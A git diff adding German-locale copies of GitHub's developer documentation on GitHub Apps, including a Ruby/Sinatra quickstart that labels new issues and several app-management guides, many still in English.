+6. Erstelle ein Issue im Testrepository.
+7. Füge dem von dir geöffneten Issue einen Kommentar hinzu, der die URL enthält, die du in der Datei `app.yml` konfiguriert hast.
+8. Im Issuekommentar siehst du ein Update, das wie folgt aussieht:
+
+   ![An einen Verweis in einem Issue angefügter Inhalt](/assets/images/github-apps/content_reference_attachment.png)
diff --git a/translations/de-DE/content/developers/apps/guides/using-the-github-api-in-your-app.md b/translations/de-DE/content/developers/apps/guides/using-the-github-api-in-your-app.md
new file mode 100644
index 0000000000..c02382a1b5
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/guides/using-the-github-api-in-your-app.md
@@ -0,0 +1,238 @@
+---
+title: Using the GitHub API in your app
+intro: Learn how to set up your app to listen for events and use the Octokit library to perform REST API operations.
+redirect_from:
+  - /apps/building-your-first-github-app
+  - /apps/quickstart-guides/using-the-github-api-in-your-app
+  - /developers/apps/using-the-github-api-in-your-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Build an app with the REST API
+---
+## Introduction
+
+This guide will help you build a GitHub App and run it on a server. The app you build will add a label to all new issues opened in the repository where the app is installed.
+
+This project will walk you through the following:
+
+* Programming your app to listen for events
+* Using the Octokit.rb library to do REST API operations
+
+{% data reusables.apps.app-ruby-guides %}
+
+Once you've worked through the steps, you'll be ready to develop other kinds of integrations using the full suite of GitHub APIs. {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %}
+
+## Prerequisites
+
+You may find it helpful to have a basic understanding of the following:
+
+* [GitHub Apps](/apps/about-apps)
+* [Webhooks](/webhooks)
+* [The Ruby programming language](https://www.ruby-lang.org/en/)
+* [REST APIs](/rest)
+* [Sinatra](http://sinatrarb.com/)
+
+But you can follow along at any experience level. We'll link out to information you need along the way!
+
+Before you begin, you'll need to do the following:
+
+1. Clone the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+  ```shell
+    $ git clone https://github.com/github-developer/using-the-github-api-in-your-app.git
+  ```
+
+  Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code.
+
+1. Follow the steps in the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart to configure and run the `template_server.rb` app server. If you've previously completed a GitHub App quickstart other than [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/), you should register a _new_ GitHub App and start a new Smee channel to use with this quickstart.
+
+  This quickstart includes the same `template_server.rb` code as the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart. **Note:** As you follow along with the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart, make sure to use the project files included in the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+
+  See the [Troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App.
+
+## Building the app
+
+Now that you're familiar with the `template_server.rb` code, you're going to create code that automatically adds the `needs-response` label to all issues opened in the repository where the app is installed.
+
+The `template_server.rb` file contains app template code that has not yet been customized. In this file, you'll see some placeholder code for handling webhook events and some other code for initializing an Octokit.rb client.
+
+{% note %}
+
+**Note:** `template_server.rb` contains many code comments that complement this guide and explain additional technical details. You may find it helpful to read through the comments in that file now, before continuing with this section, to get an overview of how the code works.
+
+The final customized code that you'll create by the end of this guide is provided in [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb). Try waiting until the end to look at it, though!
+
+{% endnote %}
+
+These are the steps you'll complete to create your first GitHub App:
+
+1. [Update app permissions](#step-1-update-app-permissions)
+2. [Add event handling](#step-2-add-event-handling)
+3. [Create a new label](#step-3-create-a-new-label)
+4. [Add label handling](#step-4-add-label-handling)
+
+## Step 1. Update app permissions
+
+When you [first registered your app](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read issues and write labels.
+
+To update your app's permissions:
+
+1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
+1. In the "Permissions" section, find "Issues," and select **Read & Write** in the "Access" dropdown next to it. The description says this option grants access to both issues and labels, which is just what you need.
+1. In the "Subscribe to events" section, select **Issues** to subscribe to the event.
+{% data reusables.apps.accept_new_permissions_steps %}
+
+Great! Your app has permission to do the tasks you want it to do. Now you can add the code to make it work.
+
+## Step 2. Add event handling
+
+The first thing your app needs to do is listen for new issues that are opened. Now that you've subscribed to the **Issues** event, you'll start receiving the [`issues`](/webhooks/event-payloads/#issues) webhook, which is triggered when certain issue-related actions occur. You can filter this event type for the specific action you want in your code.
+
+GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads in the `post '/event_handler'` route.
+
+An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this:
+
+``` ruby
+  post '/event_handler' do
+
+    # # # # # # # # # # # #
+    # ADD YOUR CODE HERE  #
+    # # # # # # # # # # # #
+
+    200 # success status
+  end
+```
+
+Use this route to handle the `issues` event by adding the following code:
+
+``` ruby
+case request.env['HTTP_X_GITHUB_EVENT']
+when 'issues'
+  if @payload['action'] === 'opened'
+    handle_issue_opened_event(@payload)
+  end
+end
+```
+
+Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in `issues` event types. Each event has an additional `action` field that indicates the type of action that triggered the events. For `issues`, the `action` field can be `assigned`, `unassigned`, `labeled`, `unlabeled`, `opened`, `edited`, `milestoned`, `demilestoned`, `closed`, or `reopened`.
+
+To test your event handler, try adding a temporary helper method. You'll update later when you [Add label handling](#step-4-add-label-handling). For now, add the following code inside the `helpers do` section of the code. You can put the new method above or below any of the other helper methods. Order doesn't matter.
+
+``` ruby
+def handle_issue_opened_event(payload)
+  logger.debug 'An issue was opened!'
+end
+```
+
+This method receives a JSON-formatted event payload as an argument. This means you can parse the payload in the method and drill down to any specific data you need. You may find it helpful to inspect the full payload at some point: try changing `logger.debug 'An issue was opened!` to `logger.debug payload`. The payload structure you see should match what's [shown in the `issues` webhook event docs](/webhooks/event-payloads/#issues).
+
+Great! It's time to test the changes.
+
+{% data reusables.apps.sinatra_restart_instructions %}
+
+In your browser, visit the repository where you installed your app. Open a new issue in this repository. The issue can say anything you like. It's just for testing.
+
+When you look back at your Terminal, you should see a message in the output that says, `An issue was opened!` Congrats! You've added an event handler to your app. 💪
+
+## Step 3. Create a new label
+
+Okay, your app can tell when issues are opened. Now you want it to add the label `needs-response` to any newly opened issue in a repository the app is installed in.
+
+Before the label can be _added_ anywhere, you'll need to _create_ the custom label in your repository. You'll only need to do this one time. For the purposes of this guide, create the label manually on GitHub. In your repository, click **Issues**, then **Labels**, then click **New label**. Name the new label `needs-response`.
+
+{% tip %}
+
+**Tip**: Wouldn't it be great if your app could create the label programmatically? [It can](/rest/reference/issues#create-a-label)! Try adding the code to do that on your own after you finish the steps in this guide.
+
+{% endtip %}
+
+Now that the label exists, you can program your app to use the REST API to [add the label to any newly opened issue](/rest/reference/issues#add-labels-to-an-issue).
+
+## Step 4. Add label handling
+
+Congrats—you've made it to the final step: adding label handling to your app. For this task, you'll want to use the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/).
+
+In the Octokit.rb docs, find the list of [label methods](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html). The method you'll want to use is [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method).
+
+Back in `template_server.rb`, find the method you defined previously:
+
+``` ruby
+def handle_issue_opened_event(payload)
+  logger.debug 'An issue was opened!'
+end
+```
+
+The [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) docs show you'll need to pass three arguments to this method:
+
+* Repo (string in `"owner/name"` format)
+* Issue number (integer)
+* Labels (array)
+
+You can parse the payload to get both the repo and the issue number. Since the label name will always be the same (`needs-response`), you can pass it as a hardcoded string in the labels array. Putting these pieces together, your updated method might look like this:
+
+``` ruby
+# When an issue is opened, add a label
+def handle_issue_opened_event(payload)
+  repo = payload['repository']['full_name']
+  issue_number = payload['issue']['number']
+  @installation_client.add_labels_to_an_issue(repo, issue_number, ['needs-response'])
+end
+```
+
+Try opening a new issue in your test repository and see what happens! If nothing happens right away, try refreshing.
+
+You won't see much in the Terminal, _but_ you should see that a bot user has added a label to the issue.
+
+{% note %}
+
+**Note:** When GitHub Apps take actions via the API, such as adding labels, GitHub shows these actions as being performed by _bot_ accounts. For more information, see "[Machine vs. bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts)."
+
+{% endnote %}
+
+If so, congrats! You've successfully built a working app! 🎉
+
+You can see the final code in `server.rb` in the [app template repository](https://github.com/github-developer/using-the-github-api-in-your-app).
+
+See "[Next steps](#next-steps)" for ideas about where you can go from here.
+
+## Troubleshooting
+
+Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}.
+
+* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm sending events on GitHub.com by opening new issues, but I don't see any output in the Terminal window where I'm running the server.
+
+    **A:** You may not have the correct Smee domain in your app settings. Visit your [app settings page](https://github.com/settings/apps) and double-check the fields shown in "[Register a new app with GitHub](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u <unique_channel>` command in "[Start a new Smee channel](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)."
+
+* **Q:** My app doesn't work! I opened a new issue, but even after refreshing, no label has been added to it.
+
+    **A:** Make sure all of the following are true:
+
+    * You [installed the app](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account) on the repository where you're opening the issue.
+    * Your [Smee client is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel) in a Terminal window.
+    * Your [web server is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server) with no errors in another Terminal window.
+    * Your app has [read & write permissions on issues and is subscribed to issue events](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel).
+    * You [checked your email](#step-1-update-app-permissions) after updating the permissions and accepted the new permissions.
+
+## Conclusion
+
+After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you:
+
+* Programmed your app to listen for events
+* Used the Octokit.rb library to do REST API operations
+
+## Next steps
+
+Here are some ideas for what you can do next:
+
+* [Rewrite your app using GraphQL](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)!
+* Rewrite your app in Node.js using [Probot](https://github.com/probot/probot)!
+* Have the app check whether the `needs-response` label already exists on the issue, and if not, add it.
+* When the bot successfully adds the label, show a message in the Terminal. (Hint: compare the `needs-response` label ID with the ID of the label in the payload as a condition for your message, so that the message only displays when the relevant label is added and not some other label.)
+* Add a landing page to your app and hook up a [Sinatra route](https://github.com/sinatra/sinatra#routes) for it.
+* Move your code to a hosted server (like Heroku). Don't forget to update your app settings with the new domain.
+* Share your project or get advice in the {% data reusables.support.prodname_support_forum_with_url %}{% ifversion fpt or ghec %}
+* Have you built a shiny new app you think others might find useful? [Add it to GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %}
diff --git a/translations/de-DE/content/developers/apps/index.md b/translations/de-DE/content/developers/apps/index.md
new file mode 100644
index 0000000000..15be3cc7ed
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/index.md
@@ -0,0 +1,33 @@
+---
+title: Apps
+intro: 'Du kannst deinen Workflow automatisieren und straffen, indem du deine eigenen Apps entwickelst.'
+redirect_from:
+  - /early-access/integrations
+  - /early-access/integrations/authentication
+  - /early-access/integrations/install-an-integration
+  - /apps/adding-integrations
+  - /apps/building-integrations/setting-up-a-new-integration/about-integrations
+  - /apps
+  - /v3/integrations
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+children:
+  - /getting-started-with-apps
+  - /building-github-apps
+  - /managing-github-apps
+  - /building-oauth-apps
+  - /managing-oauth-apps
+  - /guides
+ms.openlocfilehash: f95cba7e003e348d90627bd9291dcdc1b1fcc294
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145089907'
+---
+
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/deleting-a-github-app.md b/translations/de-DE/content/developers/apps/managing-github-apps/deleting-a-github-app.md
new file mode 100644
index 0000000000..5c9cdb43cf
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/deleting-a-github-app.md
@@ -0,0 +1,27 @@
+---
+title: Deleting a GitHub App
+intro: '{% data reusables.shortdesc.deleting_github_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-github-apps/deleting-a-github-app
+  - /apps/managing-github-apps/deleting-a-github-app
+  - /developers/apps/deleting-a-github-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+4. Select the GitHub App you want to delete.
+![App selection](/assets/images/github-apps/github_apps_select-app.png)
+{% data reusables.user-settings.github_apps_advanced %}
+6. Click **Delete GitHub App**.
+![Button to delete a GitHub App](/assets/images/github-apps/github_apps_delete.png)
+7. Type the name of the GitHub App to confirm you want to delete it.
+![Field to confirm the name of the GitHub App you want to delete](/assets/images/github-apps/github_apps_delete_integration_name.png)
+8. Click **I understand the consequences, delete this GitHub App**.
+![Button to confirm the deletion of your GitHub App](/assets/images/github-apps/github_apps_confirm_deletion.png)
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md b/translations/de-DE/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
new file mode 100644
index 0000000000..3d9e709d77
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
@@ -0,0 +1,37 @@
+---
+title: Editing a GitHub App's permissions
+intro: '{% data reusables.shortdesc.editing_permissions_for_github_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions
+  - /apps/managing-github-apps/editing-a-github-app-s-permissions
+  - /developers/apps/editing-a-github-apps-permissions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Edit permissions
+---
+{% note %}
+
+**Note:** Updated permissions won't take effect on an installation until the owner of the account or organization approves the changes. You can use the [InstallationEvent webhook](/webhooks/event-payloads/#installation) to find out when people accept new permissions for your app. One exception is [user-level permissions](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions), which don't require the account owner to approve permission changes.
+
+{% endnote %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+4. Select the GitHub App whose permissions you want to change.
+![App selection](/assets/images/github-apps/github_apps_select-app.png)
+5. In the left sidebar, click **Permissions & webhooks**.
+![Permissions and webhooks](/assets/images/github-apps/github_apps_permissions_and_webhooks.png)
+6. Modify the permissions you'd like to change. For each type of permission, select either "Read-only", "Read & write", or "No access" from the dropdown.
+![Permissions selections for your GitHub App](/assets/images/github-apps/github_apps_permissions_post2dot13.png)
+7. In "Subscribe to events", select any events to which you'd like to subscribe your app.
+![Permissions selections for subscribing your GitHub App to events](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png)
+8. Optionally, in "Add a note to users", add a note telling your users why you are changing the permissions that your GitHub App requests.
+![Input box to add a note to users explaining why your GitHub App permissions have changed](/assets/images/github-apps/github_apps_permissions_note_to_users.png)
+9. Click **Save changes**.
+![Button to save permissions changes](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/index.md b/translations/de-DE/content/developers/apps/managing-github-apps/index.md
new file mode 100644
index 0000000000..5f4ca23583
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/index.md
@@ -0,0 +1,29 @@
+---
+title: Verwalten von GitHub-Apps
+intro: 'Nachdem du eine GitHub-App erstellt und registriert hast, kannst du Änderungen an der App vornehmen, Berechtigungen ändern, den Besitz übertragen und die App löschen.'
+redirect_from:
+  - /apps/building-integrations/managing-github-apps
+  - /apps/managing-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+children:
+  - /installing-github-apps
+  - /modifying-a-github-app
+  - /editing-a-github-apps-permissions
+  - /making-a-github-app-public-or-private
+  - /suspending-a-github-app-installation
+  - /transferring-ownership-of-a-github-app
+  - /deleting-a-github-app
+ms.openlocfilehash: cc5e43e70c8cb248f89548f9bff7c8e369ee5988
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089883'
+---
+
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/installing-github-apps.md b/translations/de-DE/content/developers/apps/managing-github-apps/installing-github-apps.md
new file mode 100644
index 0000000000..ffa5479092
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/installing-github-apps.md
@@ -0,0 +1,75 @@
+---
+title: Installieren von GitHub-Apps
+intro: 'Wenn deine App öffentlich ist, kann jede*r {% ifversion fpt or ghec %} den {% data variables.product.prodname_marketplace %} oder {% endif %}eine Installations-URL zum Installieren der App in deren Repository verwenden. Wenn deine App privat ist, kannst nur du sie in Repositorys installieren, die dir gehören.'
+redirect_from:
+  - /apps/installing-github-apps
+  - /developers/apps/installing-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+ms.openlocfilehash: 4244e1e4aacbcc5f7e0f16092df9823ce5832f0a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089876'
+---
+{% note %}
+
+**Hinweis:** Deine {% data variables.product.prodname_github_app %} hat Zugriff auf alle Repositorys, die die App erstellt, auch wenn sie nur in ausgewählten Repositorys installiert wird.
+
+{% endnote %}
+
+## Installieren einer privaten GitHub-App in einem Repository
+
+Wenn du eine private GitHub-App erstellt hast, kannst du sie in einem deiner Organisations- oder Benutzerrepositorys installieren. Weitere Informationen findest du unter [Ablauf der privaten Installation](/apps/managing-github-apps/making-a-github-app-public-or-private/#private-installation-flow).
+
+1. Wähle deine App über die [Einstellungsseite für GitHub-Apps](https://github.com/settings/apps) aus.
+2. Klicke auf der linken Randleiste auf **App installieren**.
+3. Klicke neben dem Organisations- oder persönlichen Konto, das das entsprechende Repository enthält, auf **Installieren**.
+4. Installiere die App in allen Repositorys oder in ausgewählten Repositorys.
+![App-Installationsberechtigungen](/assets/images/install_permissions.png)
+5. Nach der Installation werden Konfigurationsoptionen für die App in deinem ausgewählten Konto angezeigt. Du kannst hier Änderungen vornehmen oder die vorherigen Schritte wiederholen, um die App in einem anderen Konto zu installieren.
+
+{% ifversion fpt or ghec %}
+## Anbieten deiner App auf dem GitHub Marketplace
+
+Du kannst eine kostenpflichtige oder kostenlose Version deiner App auf dem [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) anbieten. Dort können Kunden nach deiner App suchen und Details zu dieser anzeigen. {% data variables.product.prodname_marketplace %} installiert eine GitHub-App automatisch, wenn eine Bestellung abgeschlossen ist.
+
+Unter [Erste Schritte mit dem GitHub Marketplace](/marketplace/getting-started/) findest du weitere Informationen zum Anbieten deiner App auf dem {% data variables.product.prodname_marketplace %}.
+
+Weitere Informationen dazu, wie Benutzer*innen deine App über den {% data variables.product.prodname_marketplace %} installieren können, findest du unter [Kaufen und Installieren von Apps über den GitHub Marketplace](/articles/purchasing-and-installing-apps-in-github-marketplace).
+
+{% endif %}
+
+## Erteilen der Benutzerberechtigung zum Installieren deiner öffentlichen App in einem Repository
+
+Du kannst anderen ermöglichen, deine öffentliche App zu installieren, indem du die Installations-URL beispielsweise auf der Homepage deiner App angibst. Du kannst dann von der Landing Page auf GitHub auf die Homepage deiner App verweisen.
+
+ Wenn du von einer OAuth-App zu einer GitHub-App migrierst, kannst du Abfrageparameter verwenden, um die Repositorys und das Konto beim Installieren der GitHub-App vorab auszuwählen. Weitere Informationen findest du unter [Migrieren von OAuth-Apps zu GitHub-Apps](/apps/migrating-oauth-apps-to-github-apps/).
+
+Für diese Schritte wird davon ausgegangen, dass du eine [{% data variables.product.prodname_github_app %}](/apps/building-github-apps/) erstellt hast:
+
+1. Wähle auf der [Einstellungsseite für GitHub-Apps](https://github.com/settings/apps) die öffentliche App aus, die du für das Installieren durch andere Benutzer*innen konfigurieren möchtest.
+2. Gib unter „Homepage-URL“ die URL für die Homepage der App ein, und klicke auf **Änderungen speichern**.
+![Homepage URL (URL für Startseite)](/assets/images/github-apps/github_apps_homepageURL.png)
+3. GitHub bietet eine Landing Page für deine App, die einen Link zur Homepage deiner App enthält. Du kannst die Landing Page auf GitHub aufrufen, indem du die URL aus „Öffentlicher Link“ kopierst und in einem Browser einfügst.
+![Öffentlicher Link](/assets/images/github-apps/github_apps_public_link.png)
+4. Erstelle eine Homepage für deine App, die die Installations-URL für deine App enthält: `{% data variables.product.oauth_host_code %}/apps/<app name>/installations/new`.
+
+## Autorisieren von Benutzer*innen während der Installation
+
+Du kannst den Autorisierungsprozess vereinfachen, indem du ihn während der App-Installation abschließt. Wähle hierfür **Benutzerautorisierung während der Installation anfordern (OAuth)** aus, wenn du deine App auf GitHub erstellst oder bearbeitest. Weitere Informationen findest du unter [Erstellen einer GitHub-App](/apps/building-github-apps/creating-a-github-app/).
+
+Sobald ein*e Benutzer*in deine App installiert hat, erhältst du ein Zugriffstoken für ihn oder sie. Weitere Informationen findest du in Schritt 2 und Schritt 3 unter [Identifizieren von Benutzern auf der Website](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site).
+## Beibehalten eines Anwendungszustands während der Installation
+
+Du kannst einen `state`-Parameter in der Installations-URL einer App angeben, um den Zustand der Anwendungsseite beizubehalten und Benutzer*innen nach dem Installieren, Authentifizieren oder Akzeptieren von Updates für deine GitHub-App in diesen Zustand zurückzuversetzen. Beispielsweise kannst du `state` verwenden, um eine Installation mit Benutzer*innen oder Konten zu korrelieren.
+
+Um einen Zustand beizubehalten, füge ihn der Installations-URL hinzu:
+
+`{% data variables.product.oauth_host_code %}/apps/<app name>/installations/new?state=AB12t`
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md b/translations/de-DE/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
new file mode 100644
index 0000000000..7ca558774f
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
@@ -0,0 +1,43 @@
+---
+title: Making a GitHub App public or private
+intro: '{% data reusables.shortdesc.making-a-github-app-public-or-private %}'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps
+  - /apps/building-github-apps/installation-options-for-github-apps
+  - /apps/building-integrations/managing-github-apps/changing-a-github-app-s-installation-option
+  - /apps/managing-github-apps/changing-a-github-app-s-installation-option
+  - /apps/managing-github-apps/making-a-github-app-public-or-private
+  - /developers/apps/making-a-github-app-public-or-private
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Manage app visibility
+---
+For authentication information, see "[Authenticating with GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
+
+## Public installation flow
+
+Public installation flows have a landing page to enable other people besides the app owner to install the app in their repositories. This link is provided in the "Public link" field when setting up your GitHub App. For more information, see "[Installing GitHub Apps](/apps/installing-github-apps/)."
+
+## Private installation flow
+
+Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the personal account if the GitHub App is owned by an individual account. Private GitHub Apps can only be installed on the user or organization account of the owner.
+
+## Changing who can install your GitHub App
+
+To change who can install the GitHub App:
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+3. Select the GitHub App whose installation option you want to change.
+![App selection](/assets/images/github-apps/github_apps_select-app.png)
+{% data reusables.user-settings.github_apps_advanced %}
+5. Depending on the installation option of your GitHub App, click either **Make public** or **Make private**.
+![Button to change the installation option of your GitHub App](/assets/images/github-apps/github_apps_make_public.png)
+6. Depending on the installation option of your GitHub App, click either **Yes, make this GitHub App public** or **Yes, make this GitHub App {% ifversion fpt or ghec %}internal{% else %}private{% endif %}**.
+![Button to confirm the change of your installation option](/assets/images/github-apps/github_apps_confirm_installation_option.png)
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/modifying-a-github-app.md b/translations/de-DE/content/developers/apps/managing-github-apps/modifying-a-github-app.md
new file mode 100644
index 0000000000..7db3d8f06c
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/modifying-a-github-app.md
@@ -0,0 +1,25 @@
+---
+title: Modifying a GitHub App
+intro: '{% data reusables.shortdesc.modifying_github_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-github-apps/modifying-a-github-app
+  - /apps/managing-github-apps/modifying-a-github-app
+  - /developers/apps/modifying-a-github-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+{% data reusables.user-settings.modify_github_app %}
+5. In "Basic information", modify the GitHub App information that you'd like to change.
+![Basic information section for your GitHub App](/assets/images/github-apps/github_apps_basic_information.png){% ifversion device-flow-is-opt-in %}
+1. If your GitHub App will use the device flow to identify and authorize users, click **Enable device flow**. For more information about the device flow, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)."
+  ![Screenshot showing field for enabling device flow](/assets/images/oauth-apps/enable-device-flow.png){% endif %}
+6. Click **Save changes**.
+![Button to save changes for your GitHub App](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/suspending-a-github-app-installation.md b/translations/de-DE/content/developers/apps/managing-github-apps/suspending-a-github-app-installation.md
new file mode 100644
index 0000000000..85aa09647b
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/suspending-a-github-app-installation.md
@@ -0,0 +1,31 @@
+---
+title: Suspending a GitHub App installation
+intro: '{% data reusables.shortdesc.suspending_a_github_app %}'
+redirect_from:
+  - /apps/managing-github-apps/suspending-a-github-app-installation
+  - /developers/apps/suspending-a-github-app-installation
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Suspend app installation
+---
+## Suspending a GitHub App
+
+The integrator who owns and maintains a GitHub app, also called a GitHub App owner, can suspend or unsuspend a GitHub App installation using REST API endpoints with a JWT. For more information, see the [GitHub Apps REST API](/rest/reference/apps).
+
+People who have installed a GitHub App, also called installation owners, can only suspend or unsuspend a GitHub App through their app's installation settings. Installation owners cannot use the API to suspend or unsuspend their app installation.
+
+If an installation has been suspended by the {% data variables.product.prodname_github_app %} owner, installation owners cannot unsuspend their installations of the {% data variables.product.prodname_github_app %}. However, installation owners can change other settings, such as repository selection, while the app is suspended.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+1. Select the {% data variables.product.prodname_github_app %} you want to suspend.
+![App selection](/assets/images/github-apps/github_apps_select-app.png)
+{% data reusables.user-settings.github_apps_advanced %}
+6. Next to the suspension settings for the installation, click **Suspend** or **Unsuspend**.
+![Suspend a GitHub App](/assets/images/github-apps/suspend-a-github-app.png)
diff --git a/translations/de-DE/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md b/translations/de-DE/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
new file mode 100644
index 0000000000..4bbe104d16
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
@@ -0,0 +1,30 @@
+---
+title: Transferring ownership of a GitHub App
+intro: '{% data reusables.shortdesc.transferring_ownership_of_github_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app
+  - /apps/managing-github-apps/transferring-ownership-of-a-github-app
+  - /developers/apps/transferring-ownership-of-a-github-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Transfer ownership
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+4. Select the GitHub App whose ownership you want to transfer.
+![App selection](/assets/images/github-apps/github_apps_select-app.png)
